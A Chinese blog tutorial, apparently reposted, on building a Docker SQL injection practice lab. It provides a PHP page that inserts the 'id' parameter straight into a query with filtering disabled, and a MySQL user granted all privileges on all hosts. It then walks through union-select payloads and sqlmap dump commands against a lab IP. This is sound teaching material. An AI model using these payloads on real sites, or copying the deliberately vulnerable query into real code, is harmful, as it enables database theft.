使用Docker搭建SQL注入靶場


Docker搭建SQL注入漏洞

什么是Docker

Docker又被叫做容器,使用教程參考我的博客:
傳送門

如何搭建靶場

這里以ubuntu上搭建docker為例
首先下載docker:

apt install docker.io
apt install docker-compose

如何搭建web服務器

一般來說比較推薦Apache,詳細教程請查看我的博客

如何寫php文件

以一個簡單的php文件為例,如果有需要請自行增加功能。

<?php
error_reporting(0);         //不報錯
$con = mysqli_connect("127.0.0.1","ubuntu","ubuntu","ctf");      //連接本地數據庫,賬號為ubuntu,密碼為ubuntu,連接的數據庫名字叫ctf
if (!isset($_GET['id'])){        //判斷是否上傳一個id
	Header("Location:?id=1");         //如果沒有上傳,默認加上 ?id=1
}
$id = $_GET['id'];         //將傳上來的id賦值給$id變量

//if(preg_match("/ /order/i",$id)){       這一塊是加上過濾的語句,這里搭建簡單靶場,所以將注釋過濾掉了
    //die("<script>alert('Stop hacking!')</script>");
//}

$req = "select * from users where id=$id;";        //構造SQL讀取語句
$result=mysqli_query($con,$req);                     //執行SQL語句
$row = mysqli_fetch_all($result);                       //解析執行結果
echo "<center><font color='red'>".$row[0][0]."</font></br>";       //將結果輸出
echo "<font color='red'>".$row[0][1]."</font></br>";
echo "<font color='red'>".$row[0][2]."</font></center>";
?>

SQL文件的話可以參考

create database IF NOT EXISTS ctf;
use ctf;
CREATE TABLE IF NOT EXISTS users
    (
    id int(3) NOT NULL AUTO_INCREMENT,
    username varchar(20) NOT NULL,
    password varchar(60) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE emails
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    email_id varchar(30) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE uagents
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    uagent varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    username varchar(20) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE referers
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    referer varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    PRIMARY KEY (id)
    );

INSERT INTO ctf.users (id, username, password) VALUES ('1', 'Dumb', 'Dumb'), ('2', 'Angelina', 'I-kill-you'), ('3', 'Dummy', 'p@ssword'), ('4', 'secure', 'crappy'), ('5', 'superman', 'genious'), ('6', 'batman', 'mob!le'), ('7', 'admin', 'flag in /flag');

INSERT INTO `ctf`.`emails` (id, email_id) VALUES ('1', 'Dumb@dhakkan.com'), ('2', 'Angel@iloveu.com'), ('3', 'Dummy@dhakkan.local'), ('4', 'secure@dhakkan.local'), ('5', 'stupid@dhakkan.local'), ('6', 'superman@dhakkan.local'), ('7', 'batman@dhakkan.local'), ('8', 'flag{chenwei_laoshi_taiqiangle}');

寫Dockerfile

在以下內容之前,請先看前面那篇博客

FROM 1275178869/base_image_apache_php_mysql:sjx 

COPY file /var/www/html     #將當前文件夾中的file文件拷去/var/www/html

RUN rm /var/www/html/index.html

EXPOSE 80

構建Docker

一番操作下來,目前已經有的文件:
在這里插入圖片描述
在這里插入圖片描述
一共3個文件,其中db.sqlindex.php在file文件夾中。
將整個文件夾上傳到服務器端:
在這里插入圖片描述
然后運行

docker build -t sql:sql .

創建一個叫sql:sql的鏡像,然后

docker run -it -p 3000:80 sql:sql /bin/bash

創建好了容器,主機的3000端口映射到容器的80端口上了。
這時候已經進入了容器
在這里插入圖片描述
輸入

mysql -uroot -proot < /var/www/html/db.sql

導入數據庫

然后輸入

service mysql start
service apache2 start

在這里插入圖片描述
開啟MySQL和Apache

輸入mysql進入數據庫
在這里插入圖片描述
然后創建一個叫ubuntu的用戶,密碼也用ubuntu,並賦予最高權限。

CREATE USER 'ubuntu'@'%' IDENTIFIED BY 'ubuntu';GRANT ALL PRIVILEGES ON *.* TO 'ubuntu'@'%' WITH GRANT OPTION;FLUSH PRIVILEGES;

這個時候已經搭建好靶場了,大家可以訪問主機ip:3000來對docker進行訪問。

如果想退出docker可以輸入exit進行退出
在這里插入圖片描述
這個時候docker已經關閉了,可以用docker ps -a查看暫停的容器,並用docker start +容器id來開啟,就此搭建靶機結束!


SQL注入過程

判斷是數字類型注入還是字符型注入

輸入1'#發現紅色的字已經沒了
在這里插入圖片描述

輸入1#紅色的字還在所以判斷此注入是數字型注入
加粗樣式

判斷字段數

構造

http://111.229.229.17:3000/?id=1 order by 1#

在這里插入圖片描述

http://111.229.229.17:3000/?id=1 order by 2#
http://111.229.229.17:3000/?id=1 order by 3#
http://111.229.229.17:3000/?id=1 order by 4#

在這里插入圖片描述
證明一共有三個字段

判斷注入點

http://111.229.229.17:3000/?id=0 union select 1,2,3#

在這里插入圖片描述
發現 1 2 3都有輝回顯,那么三個都是注入點

爆庫名

http://111.229.229.17:3000/?id=0 union select database(),2,3#

在這里插入圖片描述

爆表名

http://111.229.229.17:3000/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctf'#

在這里插入圖片描述
發現了4個表,猜測flag在users表里面。

爆字段名

http://111.229.229.17:3000/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

在這里插入圖片描述
猜flag在password字段里面

得到flag

http://111.229.229.17:3000/?id=0 union select group_concat(password),2,3 from users#

在這里插入圖片描述

使用SQL注入工具

sqlmap解放雙手

下載傳送門
一款好用的工具可以大大降低我們的勞動,介紹一下sqlmap的使用。詳細使用過程參考這篇博客

這里就介紹一些簡單的指令

爆庫名

在sqlmap下載路徑下打開cmd,輸入

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" --dbs

在這里插入圖片描述

因為sqlmap是用python2寫的,所以要用python2調用。
-u參數提供攻擊鏈接
--dbs表示要爆庫名
在這里插入圖片描述
有5個庫,選擇ctf

爆表名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf --tables

-D參數表示選擇數據庫
--tables表示爆表名
在這里插入圖片描述

爆字段名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users --columns

-T參數表示選擇users表
--columns表示爆字段名
在這里插入圖片描述

拿flag

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users -C password --dump

-C表示選擇字段
--dump表示爆出內容
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM